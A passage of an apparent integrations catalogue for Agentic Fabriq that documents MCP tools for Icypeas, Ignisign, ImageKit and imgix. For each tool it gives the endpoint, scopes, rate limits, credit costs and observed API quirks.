profile. Rate limit: 20 calls per second. Icypeas reports a rejected INPUT with HTTP 200 and `{"success": false, "validationErrors": [{field, type, message, expected, actual}]}`; this integration raises that as an error naming the offending fields rather than returning it as a success. POST /api/v1/icypeas/reverse-email-lookup. Scopes: api. icypeas_post_reverse_email_lookups (write) — Reverse-lookup many email addresses via POST /reverse-email-lookups. Find the profile URLs behind MANY professional email addresses in one call: `data` is an array of 2 to 50 addresses (one address is refused; use the single route). Each found profile costs 10 credits, so a full batch of hits can cost 500 credits. Cost: 10 credits per found profile, the same as the single route. Rate limit: 15 calls per second, up to 50 rows per call. Icypeas reports a rejected INPUT with HTTP 200 and `{"success": false, "validationErrors": [{field, type, message, expected, actual}]}`; this integration raises that as an error naming the offending fields rather than returning it as a success. POST /api/v1/icypeas/reverse-email-lookups. Scopes: api. icypeas_post_scrape (write) — Scrape profiles or companies in bulk via POST /scrape. Scrape up to 50 profiles OR up to 50 companies in one call: `type` is `profile` or `company` and `data` is the matching list of URLs -- the two kinds cannot be mixed in one call, and an empty `data` is refused (`validation_array_empty`, measured). Icypeas documents this route twice, once per type, and documents the reply only as 'Response 200 when your input does not contain any validation errors'; this build did not spend credits to observe a successful bulk scrape, so expect a job reference and read results through Read search results rather than expecting the scraped records inline. Cost: per row, the same as the single scrape route for that type. Rate limit: 20 calls per second, up to 50 rows per call. Icypeas reports a rejected INPUT with HTTP 200 and `{"success": false, "validationErrors": [{field, type, message, expected, actual}]}`; this integration raises that as an error naming the offending fields rather than returning it as a success. POST /api/v1/icypeas/scrape. Scopes: api. icypeas_post_search_files_read (read) — List bulk search files via POST /search-files/read. List the bulk searches ("files") on the account with their progress and statistics: `total`, `done`, `found`, `in-progress`, `bad-input`, `credits-missing`, `aborted`, `finished` and `task`. `{}` lists them all newest first; `{"status": "in_progress"}` or `{"status": "done"}` filters; `{"file": ""}` reads one. Measured: an UNKNOWN file id is not an error -- it answers a placeholder record with `total: 0`, an empty `task` and `finished: false`, so check `task` is non-empty before trusting the counters. `limit` is 1-50 (default 10); paginate with the reply's `sorts` array and `next: true`. Limited to 15 calls per MINUTE. A bulk is done when `finished` is true; then fetch its rows with Read search results in mode bulk. Cost: free. Rate limit: 15 calls per MINUTE. Icypeas reports a rejected INPUT with HTTP 200 and `{"success": false, "validationErrors": [{field, type, message, expected, actual}]}`; this integration raises that as an error naming the offending fields rather than returning it as a success. POST /api/v1/icypeas/search-files/read. Scopes: api. icypeas_post_url_search (write) — Find profile or company URLs in bulk via POST /url-search. Find up to 50 profile URLs OR up to 50 company URLs in one call. `type` is `profile` or `company`; each `data` row is `{firstname, lastname, companyOrDomain?, jobTitle?}` for profiles (both names required, plus company or job title) or `{companyOrDomain}` for companies. TWO MEASURED TRAPS: (1) omitting `type` answers HTTP 401 `unauthorized_access_error` ("Unauthorized access.") even with a working key -- that is a missing field, not a credential problem; a bad key answers 401 `user_not_found_error` ("The user does not exist") instead. (2) An EMPTY `data` array is accepted (200 `{"success": true, "data": []}`) and still CREATES an empty bulk file on the account, so do not call this to 'test' the route. ASYNCHRONOUS: the reply carries a `file` id and `status: "in_progress"`, not the results. Follow progress with List bulk search files (`{"file": ""}` -- done when `finished` is true), then fetch the rows with Read search results (`{"mode": "bulk", "file": ""}`, up to 100 per page). Icypeas recommends `custom.webhookUrlItem` / `custom.webhookUrlBulkDone` over polling because the two read routes are limited per MINUTE (30 and 15 calls). Cost: per row, the same as the single url-search route for that type. Rate limit: 20 calls per second, up to 50 rows per call. Icypeas reports a rejected INPUT with HTTP 200 and `{"success": false, "validationErrors": [{field, type, message, expected, actual}]}`; this integration raises that as an error naming the offending fields rather than returning it as a success. POST /api/v1/icypeas/url-search. Scopes: api. icypeas_post_url_search_company (write) — Find one company URL via POST /url-search/company. Find ONE company's profile page URL from its name, domain or website (`companyOrDomain`). 1 credit per found URL; a not-found is a 200 with `success: true` and no URL. Cost: 1 credit per found URL. Rate limit: 20 calls per second. Icypeas reports a rejected INPUT with HTTP 200 and `{"success": false, "validationErrors": [{field, type, message, expected, actual}]}`; this integration raises that as an error naming the offending fields rather than returning it as a success. POST /api/v1/icypeas/url-search/company. Scopes: api. icypeas_post_url_search_profile (write) — Find one profile URL via POST /url-search/profile. Find ONE person's profile URL from their name: `firstname` and `lastname` are both required, plus at least one of `companyOrDomain` (company name, domain or website) or `jobTitle` (measured: neither given answers `field_required` on companyOrDomain). 1 credit per found URL; a not-found is a 200 with `success: true` and no URL. Cost: 1 credit per found URL. Rate limit: 20 calls per second. Icypeas reports a rejected INPUT with HTTP 200 and `{"success": false, "validationErrors": [{field, type, message, expected, actual}]}`; this integration raises that as an error naming the offending fields rather than returning it as a success. POST /api/v1/icypeas/url-search/profile. Scopes: api. ================================================================================ ## Ignisign URL: https://www.agenticfabriq.com/integrations/ignisign Section: Integrated Tools Ignisign — 40 MCP tools Provider key: ignisign. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. ignisign_delete_v4_applications_by_appid_envs_by_appenv_signers_by_signerid_revoke (write, destructive) — Revoke signer via DELETE /v4/applications/{appId}/envs/{appEnv}/signers/{signerId}/revoke DELETE /api/v1/ignisign/v4/applications/envs/signers/{signerId}/revoke. Scopes: api. ignisign_delete_v4_documents_by_documentid (write, destructive) — Remove document via DELETE /v4/documents/{documentId} DELETE /api/v1/ignisign/v4/documents/{documentId}. Scopes: api. ignisign_delete_v4_documents_by_documentid_content (write, destructive) — Remove document content via DELETE /v4/documents/{documentId}/content DELETE /api/v1/ignisign/v4/documents/{documentId}/content. Scopes: api. ignisign_delete_v4_webhooks_by_webhookid (write, destructive) — Remove webhook endpoint via DELETE /v4/webhooks/{webhookId} DELETE /api/v1/ignisign/v4/webhooks/{webhookId}. Scopes: api. ignisign_get_v4_applications_by_appid_context (read) — Get application context via GET /v4/applications/{appId}/context GET /api/v1/ignisign/v4/applications/context. Scopes: api. ignisign_get_v4_applications_by_appid_envs_by_appenv_bare_signatures_configuration (read) — Get bare signature configuration via GET /v4/applications/{appId}/envs/{appEnv}/bare-signatures-configuration GET /api/v1/ignisign/v4/applications/envs/bare-signatures-configuration. Scopes: api. ignisign_get_v4_applications_by_appid_envs_by_appenv_signature_requests (read) — Get signature requests by app ID and app env via GET /v4/applications/{appId}/envs/{appEnv}/signature-requests GET /api/v1/ignisign/v4/applications/envs/signature-requests. Scopes: api. ignisign_get_v4_applications_by_appid_envs_by_appenv_signer_profiles (read) — Get signer profiles via GET /v4/applications/{appId}/envs/{appEnv}/signer-profiles GET /api/v1/ignisign/v4/applications/envs/signer-profiles. Scopes: api. ignisign_get_v4_applications_by_appid_envs_by_appenv_signer_profiles_by_signerprofileid (read) — Get signer profile via GET /v4/applications/{appId}/envs/{appEnv}/signer-profiles/{signerProfileId} GET /api/v1/ignisign/v4/applications/envs/signer-profiles/{signerProfileId}. Scopes: api. ignisign_get_v4_applications_by_appid_envs_by_appenv_signer_profiles_by_signerprofileid_inputs_needed (read) — Get signer inputs constraints from signer profile ID via GET /v4/applications/{appId}/envs/{appEnv}/signer-profiles/{signerProfileId}/inputs-needed GET /api/v1/ignisign/v4/applications/envs/signer-profiles/{signerProfileId}/inputs-needed. Scopes: api. ignisign_get_v4_applications_by_appid_envs_by_appenv_signers_by_signerid (read) — Get signer summary via GET /v4/applications/{appId}/envs/{appEnv}/signers/{signerId} GET /api/v1/ignisign/v4/applications/envs/signers/{signerId}. Scopes: api. ignisign_get_v4_applications_by_appid_envs_by_appenv_signers_by_signerid_details (read) — Get signer with details via GET /v4/applications/{appId}/envs/{appEnv}/signers/{signerId}/details GET /api/v1/ignisign/v4/applications/envs/signers/{signerId}/details. Scopes: api. ignisign_get_v4_applications_by_appid_envs_by_appenv_signers_paginate (read) — Get paginate application signers via GET /v4/applications/{appId}/envs/{appEnv}/signers-paginate GET /api/v1/ignisign/v4/applications/envs/signers-paginate. Scopes: api. ignisign_get_v4_applications_by_appid_envs_by_appenv_webhooks (read) — Get webhook end points via GET /v4/applications/{appId}/envs/{appEnv}/webhooks GET /api/v1/ignisign/v4/applications/envs/webhooks. Scopes: api. ignisign_get_v4_documents_by_documentid (read) — Get document by ID via GET /v4/documents/{documentId} GET /api/v1/ignisign/v4/documents/{documentId}. Scopes: api. ignisign_get_v4_documents_by_documentid_context (read) — Get document context via GET /v4/documents/{documentId}/context GET /api/v1/ignisign/v4/documents/{documentId}/context. Scopes: api. ignisign_get_v4_documents_by_documentid_img_signatures (read) — Get signature image via GET /v4/documents/{documentId}/img-signatures GET /api/v1/ignisign/v4/documents/{documentId}/img-signatures. Scopes: api. ignisign_get_v4_envs_by_appenv_bare_signatures_proofs (read) — Get bare signature proofs via GET /v4/envs/{appEnv}/bare-signatures/proofs GET /api/v1/ignisign/v4/envs/bare-signatures/proofs. Scopes: api. ignisign_get_v4_signature_requests_by_signaturerequestid_context (read) — Get signature request context via GET /v4/signature-requests/{signatureRequestId}/context GET /api/v1/ignisign/v4/signature-requests/{signatureRequestId}/context. Scopes: api. ignisign_get_v4_webhooks_by_webhookid_events (read) — Get webhook events via GET /v4/webhooks/{webhookId}/events GET /api/v1/ignisign/v4/webhooks/{webhookId}/events. Scopes: api. ignisign_get_v4_webhooks_by_webhookid_events_by_eventid (read) — Get webhook event via GET /v4/webhooks/{webhookId}/events/{eventId} GET /api/v1/ignisign/v4/webhooks/{webhookId}/events/{eventId}. Scopes: api. ignisign_post_v4_applications_by_appid_envs_by_appenv_init_documents (write) — Init document via POST /v4/applications/{appId}/envs/{appEnv}/init-documents POST /api/v1/ignisign/v4/applications/envs/init-documents. Scopes: api. ignisign_post_v4_applications_by_appid_envs_by_appenv_log_capsules (write) — Log capsule create via POST /v4/applications/{appId}/envs/{appEnv}/log-capsules POST /api/v1/ignisign/v4/applications/envs/log-capsules. Scopes: api. ignisign_post_v4_applications_by_appid_envs_by_appenv_m2m_by_m2mid_sign (write) — Sign M2M via POST /v4/applications/{appId}/envs/{appEnv}/m2m/{m2mId}/sign POST /api/v1/ignisign/v4/applications/envs/m2m/{m2mId}/sign. Scopes: api. ignisign_post_v4_applications_by_appid_envs_by_appenv_signature_requests (write) — Init signature request via POST /v4/applications/{appId}/envs/{appEnv}/signature-requests POST /api/v1/ignisign/v4/applications/envs/signature-requests. Scopes: api. ignisign_post_v4_applications_by_appid_envs_by_appenv_signers (write) — Create signer via POST /v4/applications/{appId}/envs/{appEnv}/signers POST /api/v1/ignisign/v4/applications/envs/signers. Scopes: api. ignisign_post_v4_applications_by_appid_envs_by_appenv_webhooks (write) — Add webhook endpoint via POST /v4/applications/{appId}/envs/{appEnv}/webhooks POST /api/v1/ignisign/v4/applications/envs/webhooks. Scopes: api. ignisign_post_v4_documents_by_documentid_data_json_content (write) — Provide document content data JSON via POST /v4/documents/{documentId}/data-json-content POST /api/v1/ignisign/v4/documents/{documentId}/data-json-content. Scopes: api. ignisign_post_v4_documents_by_documentid_private_content (write) — Provide document content private content via POST /v4/documents/{documentId}/private-content POST /api/v1/ignisign/v4/documents/{documentId}/private-content. Scopes: api. ignisign_post_v4_envs_by_appenv_oauth2_proofs_token (write) — Get bare signature proof token via POST /v4/envs/{appEnv}/oauth2/proofs-token POST /api/v1/ignisign/v4/envs/oauth2/proofs-token. Scopes: api. ignisign_post_v4_signature_requests_by_signaturerequestid_close (write) — Close signature request via POST /v4/signature-requests/{signatureRequestId}/close POST /api/v1/ignisign/v4/signature-requests/{signatureRequestId}/close. Scopes: api. ignisign_post_v4_signature_requests_by_signaturerequestid_publish (write) — Publish signature request via POST /v4/signature-requests/{signatureRequestId}/publish POST /api/v1/ignisign/v4/signature-requests/{signatureRequestId}/publish. Scopes: api. ignisign_post_v4_signature_requests_one_call_sign (write) — Create signature request in one call via POST /v4/signature-requests/one-call-sign POST /api/v1/ignisign/v4/signature-requests/one-call-sign. Scopes: api. ignisign_post_v4_tokens_webhook_verification_checking_consumption (write) — Check webhook event token via POST /v4/tokens/webhook-verification/checking-consumption. Checks whether a webhook verification token Ignisign delivered in a webhook payload has already been consumed. The `token` argument is that webhook token, not the connection's API key. POST /api/v1/ignisign/v4/tokens/webhook-verification/checking-consumption. Scopes: api. ignisign_post_v4_webhooks_by_webhookid_events_by_eventid_resend (write) — Resend webhook event via POST /v4/webhooks/{webhookId}/events/{eventId}/resend POST /api/v1/ignisign/v4/webhooks/{webhookId}/events/{eventId}/resend. Scopes: api. ignisign_put_v4_applications_by_appid_envs_by_appenv_signers_by_signerid (write) — Update signer via PUT /v4/applications/{appId}/envs/{appEnv}/signers/{signerId} PUT /api/v1/ignisign/v4/applications/envs/signers/{signerId}. Scopes: api. ignisign_put_v4_applications_by_appid_envs_by_appenv_signers_by_signerid_regenerate_auth_secret (write) — Regenerate signer auth secret via PUT /v4/applications/{appId}/envs/{appEnv}/signers/{signerId}/regenerate-auth-secret PUT /api/v1/ignisign/v4/applications/envs/signers/{signerId}/regenerate-auth-secret. Scopes: api. ignisign_put_v4_documents_by_documentid (write) — Update document via PUT /v4/documents/{documentId} PUT /api/v1/ignisign/v4/documents/{documentId}. Scopes: api. ignisign_put_v4_signature_requests_by_signaturerequestid (write) — Update signature request via PUT /v4/signature-requests/{signatureRequestId} PUT /api/v1/ignisign/v4/signature-requests/{signatureRequestId}. Scopes: api. ignisign_put_v4_webhooks_by_webhookid (write) — Update webhook endpoint via PUT /v4/webhooks/{webhookId} PUT /api/v1/ignisign/v4/webhooks/{webhookId}. Scopes: api. ================================================================================ ## ImageKit URL: https://www.agenticfabriq.com/integrations/imagekit Section: Integrated Tools ImageKit — 46 MCP tools Provider key: imagekit. Scopes: account:read, account:write, media:read, media:write. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. imagekit_delete_v1_accounts_origins_by_id (write, destructive) — Delete origin. DELETE /v1/accounts/origins/{id}. **Note:** This API is currently in beta. Permanently removes the origin identified by `id`. If the origin is in use by any URL‑endpoints, the API will return an error. DELETE /api/v1/imagekit/v1/accounts/origins/{id}. Scopes: account:write. imagekit_delete_v1_accounts_url_endpoints_by_id (write, destructive) — Delete URL‑endpoint. DELETE /v1/accounts/url-endpoints/{id}. **Note:** This API is currently in beta. Deletes the URL‑endpoint identified by `id`. You cannot delete the default URL‑endpoint created by ImageKit during account creation. DELETE /api/v1/imagekit/v1/accounts/url-endpoints/{id}. Scopes: account:write. imagekit_delete_v1_custommetadatafields_by_id (write, destructive) — Delete a field. DELETE /v1/customMetadataFields/{id}. This API deletes a custom metadata field. Even after deleting a custom metadata field, you cannot create any new custom metadata field with the same name. DELETE /api/v1/imagekit/v1/customMetadataFields/{id}. Scopes: media:write. imagekit_delete_v1_files_by_fileid (write, destructive) — Delete file. DELETE /v1/files/{fileId}. This API deletes the file and all its file versions permanently. Note: If a file or specific transformation has been requested in the past, then the response is cached. Deleting a file does not purge the cache. You can purge the cache using purge cache API. DELETE /api/v1/imagekit/v1/files/{fileId}. Scopes: media:write. imagekit_delete_v1_files_by_fileid_versions_by_versionid (write, destructive) — Delete file version. DELETE /v1/files/{fileId}/versions/{versionId}. This API deletes a non-current file version permanently. The API returns an empty response. Note: If you want to delete all versions of a file, use the delete file API. DELETE /api/v1/imagekit/v1/files/{fileId}/versions/{versionId}. Scopes: media:write. imagekit_delete_v1_folder (write, destructive) — Delete folder. DELETE /v1/folder. This will delete a folder and all its contents permanently. The API returns an empty response. DELETE /api/v1/imagekit/v1/folder. Scopes: media:write. imagekit_delete_v1_saved_extensions_by_id (write, destructive) — Delete saved extension. DELETE /v1/saved-extensions/{id}. This API deletes a saved extension permanently. DELETE /api/v1/imagekit/v1/saved-extensions/{id}. Scopes: media:write. imagekit_get_v1_accounts_origins (read) — List origins. GET /v1/accounts/origins. **Note:** This API is currently in beta. Returns an array of all configured origins for the current account. GET /api/v1/imagekit/v1/accounts/origins. Scopes: account:read. imagekit_get_v1_accounts_origins_by_id (read) — Get origin. GET /v1/accounts/origins/{id}. **Note:** This API is currently in beta. Retrieves the origin identified by `id`. GET /api/v1/imagekit/v1/accounts/origins/{id}. Scopes: account:read. imagekit_get_v1_accounts_url_endpoints (read) — List URL‑endpoints. GET /v1/accounts/url-endpoints. **Note:** This API is currently in beta. Returns an array of all URL‑endpoints configured including the default URL-endpoint generated by ImageKit during account creation. GET /api/v1/imagekit/v1/accounts/url-endpoints. Scopes: account:read. imagekit_get_v1_accounts_url_endpoints_by_id (read) — Get URL‑endpoint. GET /v1/accounts/url-endpoints/{id}. **Note:** This API is currently in beta. Retrieves the URL‑endpoint identified by `id`. GET /api/v1/imagekit/v1/accounts/url-endpoints/{id}. Scopes: account:read. imagekit_get_v1_accounts_usage (read) — Get account usage information. GET /v1/accounts/usage. Get the account usage information between two dates. Note that the API response includes data from the start date while excluding data from the end date. In other words, the data covers the period starting from the specified start date up to, but not including, the end date. For an agency account, the returned usage is aggregated across the agency and all of its child accounts that are billed to it. The response is cached for 6 hours per account, date range and requested metrics. GET /api/v1/imagekit/v1/accounts/usage. Scopes: media:read. imagekit_get_v1_accounts_usage_analytics (read) — Get usage analytics. GET /v1/accounts/usage-analytics. **Note:** This API is currently in beta. Get the account analytics data between two dates. The response covers the period from the start date to the end date, both dates inclusive. Both dates are interpreted as UTC calendar days. The returned data is scoped to the requesting account only. Unlike `/v1/accounts/usage`, an agency account's analytics are not aggregated across its child accounts. The response is cached for 5 minutes per account and date range. Use `generatedAt` to check how fresh the returned data is. GET /api/v1/imagekit/v1/accounts/usage-analytics. Scopes: account:read. imagekit_get_v1_bulkjobs_by_jobid (read) — Bulk job status. GET /v1/bulkJobs/{jobId}. This API returns the status of a bulk job like copy and move folder operations. GET /api/v1/imagekit/v1/bulkJobs/{jobId}. Scopes: media:read. imagekit_get_v1_custommetadatafields (read) — List all fields. GET /v1/customMetadataFields. This API returns the array of created custom metadata field objects. By default the API returns only non deleted field objects, but you can include deleted fields in the API response. You can also filter results by a specific folder path to retrieve custom metadata fields applicable at that location. This path-specific filtering is useful when using the **Path policy** feature to determine which custom metadata fields are selected for a given path. GET /api/v1/imagekit/v1/customMetadataFields. Scopes: media:read. imagekit_get_v1_files (read) — List and search assets. GET /v1/files. This API can list all the uploaded files and folders in your ImageKit.io media library. In addition, you can fine-tune your query by specifying various filters by generating a query string in a Lucene-like syntax and provide this generated string as the value of the `searchQuery`. GET /api/v1/imagekit/v1/files. Scopes: media:read. imagekit_get_v1_files_by_fileid_details (read) — Get file details. GET /v1/files/{fileId}/details. This API returns an object with details or attributes about the current version of the file. GET /api/v1/imagekit/v1/files/{fileId}/details. Scopes: media:read. imagekit_get_v1_files_by_fileid_metadata (read) — Get uploaded file metadata. GET /v1/files/{fileId}/metadata. You can programmatically get image EXIF, pHash, and other metadata for uploaded files in the ImageKit.io media library using this API. You can also get the metadata in upload API response by passing `metadata` in `responseFields` parameter. GET /api/v1/imagekit/v1/files/{fileId}/metadata. Scopes: media:read. imagekit_get_v1_files_by_fileid_versions (read) — List file versions. GET /v1/files/{fileId}/versions. This API returns details of all versions of a file. GET /api/v1/imagekit/v1/files/{fileId}/versions. Scopes: media:read. imagekit_get_v1_files_by_fileid_versions_by_versionid (read) — Get file version details. GET /v1/files/{fileId}/versions/{versionId}. This API returns an object with details or attributes of a file version. GET /api/v1/imagekit/v1/files/{fileId}/versions/{versionId}. Scopes: media:read. imagekit_get_v1_files_purge_by_requestid (read) — Get purge status. GET /v1/files/purge/{requestId}. This API returns the status of a purge cache request. GET /api/v1/imagekit/v1/files/purge/{requestId}. Scopes: media:read. imagekit_get_v1_metadata (read) — Get metadata from remote URL. GET /v1/metadata. Get image EXIF, pHash, and other metadata from ImageKit.io powered remote URL using this API. GET /api/v1/imagekit/v1/metadata. Scopes: media:read. imagekit_get_v1_saved_extensions (read) — List all saved extensions. GET /v1/saved-extensions. This API returns an array of all saved extensions for your account. Saved extensions allow you to save complex extension configurations and reuse them by referencing them by ID in upload or update file APIs. GET /api/v1/imagekit/v1/saved-extensions. Scopes: media:read. imagekit_get_v1_saved_extensions_by_id (read) — Get saved extension details. GET /v1/saved-extensions/{id}. This API returns details of a specific saved extension by ID. GET /api/v1/imagekit/v1/saved-extensions/{id}. Scopes: media:read. imagekit_patch_v1_custommetadatafields_by_id (write) — Update existing field. PATCH /v1/customMetadataFields/{id}. This API updates the label or schema of an existing custom metadata field. PATCH /api/v1/imagekit/v1/customMetadataFields/{id}. Scopes: media:write. imagekit_patch_v1_files_by_fileid_details (write) — Update file details. PATCH /v1/files/{fileId}/details. This API updates the details or attributes of the current version of the file. You can update `tags`, `customCoordinates`, `customMetadata`, publication status, remove existing `AITags` and apply extensions using this API. PATCH /api/v1/imagekit/v1/files/{fileId}/details. Scopes: media:write. imagekit_patch_v1_saved_extensions_by_id (write) — Update saved extension. PATCH /v1/saved-extensions/{id}. This API updates an existing saved extension. You can update the name, description, or config. PATCH /api/v1/imagekit/v1/saved-extensions/{id}. Scopes: media:write. imagekit_post_v1_accounts_origins (write) — Create origin. POST /v1/accounts/origins. **Note:** This API is currently in beta. Creates a new origin and returns the origin object. POST /api/v1/imagekit/v1/accounts/origins. Scopes: account:write. imagekit_post_v1_accounts_url_endpoints (write) — Create URL‑endpoint. POST /v1/accounts/url-endpoints. **Note:** This API is currently in beta. Creates a new URL‑endpoint and returns the resulting object. POST /api/v1/imagekit/v1/accounts/url-endpoints. Scopes: account:write. imagekit_post_v1_bulkjobs_copyfolder (write) — Copy folder. POST /v1/bulkJobs/copyFolder. This will copy one folder into another. The selected folder, its nested folders, files, and their versions (in `includeVersions` is set to true) are copied in this operation. Note: If any file at the destination has the same name as the source file, then the source file and its versions will be appended to the destination file version history. POST /api/v1/imagekit/v1/bulkJobs/copyFolder. Scopes: media:write. imagekit_post_v1_bulkjobs_movefolder (write) — Move folder. POST /v1/bulkJobs/moveFolder. This will move one folder into another. The selected folder, its nested folders, files, and their versions are moved in this operation. Note: If any file at the destination has the same name as the source file, then the source file and its versions will be appended to the destination file version history. POST /api/v1/imagekit/v1/bulkJobs/moveFolder. Scopes: media:write. imagekit_post_v1_bulkjobs_renamefolder (write) — Rename folder. POST /v1/bulkJobs/renameFolder. This API allows you to rename an existing folder. The folder and all its nested assets and sub-folders will remain unchanged, but their paths will be updated to reflect the new folder name. POST /api/v1/imagekit/v1/bulkJobs/renameFolder. Scopes: media:write. imagekit_post_v1_custommetadatafields (write) — Create new field. POST /v1/customMetadataFields. This API creates a new custom metadata field. Once a custom metadata field is created either through this API or using the dashboard UI, its value can be set on the assets. The value of a field for an asset can be set using the media library UI or programmatically through upload or update assets API. POST /api/v1/imagekit/v1/customMetadataFields. Scopes: media:write. imagekit_post_v1_files_addtags (write) — Add tags (bulk). POST /v1/files/addTags. This API adds tags to multiple files in bulk. A maximum of 50 files can be specified at a time. POST /api/v1/imagekit/v1/files/addTags. Scopes: media:write. imagekit_post_v1_files_batch_deletebyfileids (write, destructive) — Delete multiple files. POST /v1/files/batch/deleteByFileIds. This API deletes multiple files and all their file versions permanently. Note: If a file or specific transformation has been requested in the past, then the response is cached. Deleting a file does not purge the cache. You can purge the cache using purge cache API. A maximum of 100 files can be deleted at a time. POST /api/v1/imagekit/v1/files/batch/deleteByFileIds. Scopes: media:write. imagekit_post_v1_files_copy (write) — Copy file. POST /v1/files/copy. This will copy a file from one folder to another. Note: If any file at the destination has the same name as the source file, then the source file and its versions (if `includeFileVersions` is set to true) will be appended to the destination file version history. POST /api/v1/imagekit/v1/files/copy. Scopes: media:write. imagekit_post_v1_files_move (write) — Move file. POST /v1/files/move. This will move a file and all its versions from one folder to another. Note: If any file at the destination has the same name as the source file, then the source file and its versions will be appended to the destination file. POST /api/v1/imagekit/v1/files/move. Scopes: media:write. imagekit_post_v1_files_purge (write) — Purge cache. POST /v1/files/purge. This API will purge CDN cache and ImageKit.io's internal cache for a file. Note: Purge cache is an asynchronous process and it may take some time to reflect the changes. POST /api/v1/imagekit/v1/files/purge. Scopes: media:write. imagekit_post_v1_files_removeaitags (write) — Remove AI tags (bulk). POST /v1/files/removeAITags. This API removes AITags from multiple files in bulk. A maximum of 50 files can be specified at a time. POST /api/v1/imagekit/v1/files/removeAITags. Scopes: media:write. imagekit_post_v1_files_removetags (write) — Remove tags (bulk). POST /v1/files/removeTags. This API removes tags from multiple files in bulk. A maximum of 50 files can be specified at a time. POST /api/v1/imagekit/v1/files/removeTags. Scopes: media:write. imagekit_post_v1_folder (write) — Create folder. POST /v1/folder. This will create a new folder. You can specify the folder name and location of the parent folder where this new folder should be created. POST /api/v1/imagekit/v1/folder. Scopes: media:write. imagekit_post_v1_saved_extensions (write) — Create saved extension. POST /v1/saved-extensions. This API creates a new saved extension. Saved extensions allow you to save complex extension configurations (like AI tasks) and reuse them by referencing the ID in upload or update file APIs. **Saved extension limit** \ You can create a maximum of 100 saved extensions per account. POST /api/v1/imagekit/v1/saved-extensions. Scopes: media:write. imagekit_put_v1_accounts_origins_by_id (write) — Update origin. PUT /v1/accounts/origins/{id}. **Note:** This API is currently in beta. Updates the origin identified by `id` and returns the updated origin object. PUT /api/v1/imagekit/v1/accounts/origins/{id}. Scopes: account:write. imagekit_put_v1_accounts_url_endpoints_by_id (write) — Update URL‑endpoint. PUT /v1/accounts/url-endpoints/{id}. **Note:** This API is currently in beta. Updates the URL‑endpoint identified by `id` and returns the updated object. PUT /api/v1/imagekit/v1/accounts/url-endpoints/{id}. Scopes: account:write. imagekit_put_v1_files_by_fileid_versions_by_versionid_restore (write) — Restore file version. PUT /v1/files/{fileId}/versions/{versionId}/restore. This API restores a file version as the current file version. PUT /api/v1/imagekit/v1/files/{fileId}/versions/{versionId}/restore. Scopes: media:write. imagekit_put_v1_files_rename (write) — Rename file. PUT /v1/files/rename. You can rename an already existing file in the media library using rename file API. This operation would rename all file versions of the file. Note: The old URLs will stop working. The file/file version URLs cached on CDN will continue to work unless a purge is requested. PUT /api/v1/imagekit/v1/files/rename. Scopes: media:write. ================================================================================ ## imgix URL: https://www.agenticfabriq.com/integrations/imgix Section: Integrated Tools imgix — 18 MCP tools Provider key: imgix. Scopes: analytics, asset_manager_browse, asset_manager_edit, purge, sources. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. imgix_delete_api_v1_sources_by_source_id_upload_sessions_cancel_by_session_id (write, destructive) — Cancel an open upload session by its id and discard whatever it had received via DELETE /api/v1/sources/{source_id}/upload-sessions/cancel/{session_id} DELETE /api/v1/imgix/api/v1/sources/{source_id}/upload-sessions/cancel/{session_id}. Scopes: asset_manager_edit. imgix_get_api_v1_reports (read) — List the account's generated reports -- CDN logs, image analytics, source analytics, credit analytics and error reports -- with paging, sorting and field filters via GET /api/v1/reports GET /api/v1/imgix/api/v1/reports. Scopes: analytics. imgix_get_api_v1_reports_by_report_id (read) — Read one generated report by id, including whether it has completed and the files it produced via GET /api/v1/reports/{report_id} GET /api/v1/imgix/api/v1/reports/{report_id}. Scopes: analytics. imgix_get_api_v1_sources (read) — List the imgix Sources on the account, with JSON:API sparse fieldsets, page-number paging, sorting by name, enabled or deploy date, and field filters via GET /api/v1/sources GET /api/v1/imgix/api/v1/sources. Scopes: sources. imgix_get_api_v1_sources_by_source_id (read) — Read one imgix Source by id, including its deployment settings and deployment status via GET /api/v1/sources/{source_id} GET /api/v1/imgix/api/v1/sources/{source_id}. Scopes: sources. imgix_get_api_v1_sources_by_source_id_assets (read) — List the Asset Manager contents of one Source, with cursor paging, sparse fieldsets, sorting by creation date, modification date or file size, and field filters via GET /api/v1/sources/{source_id}/assets GET /api/v1/imgix/api/v1/sources/{source_id}/assets. Scopes: asset_manager_browse. imgix_get_api_v1_sources_by_source_id_assets_by_origin_path (read) — Read one asset's Asset Manager record by its origin path -- dimensions, content type, colours, tags, categories, custom fields and, for video, transcode status via GET /api/v1/sources/{source_id}/assets/{origin_path} GET /api/v1/imgix/api/v1/sources/{source_id}/assets/{origin_path}. Scopes: asset_manager_browse. imgix_get_api_v1_sources_by_source_id_upload_sessions_status_by_session_id (read) — Read the state of one upload session by its id via GET /api/v1/sources/{source_id}/upload-sessions/status/{session_id} GET /api/v1/imgix/api/v1/sources/{source_id}/upload-sessions/status/{session_id}. Scopes: asset_manager_browse. imgix_patch_api_v1_sources_by_source_id (write) — Update an imgix Source's name, enabled flag, deployment settings or upload credentials. Setting enabled to false stops the Source serving images via PATCH /api/v1/sources/{source_id} PATCH /api/v1/imgix/api/v1/sources/{source_id}. Scopes: sources. imgix_patch_api_v1_sources_by_source_id_assets_by_origin_path (write) — Update an asset's name, description, categories, tags or custom fields in the Asset Manager. This edits imgix's metadata record, not the bytes at the origin via PATCH 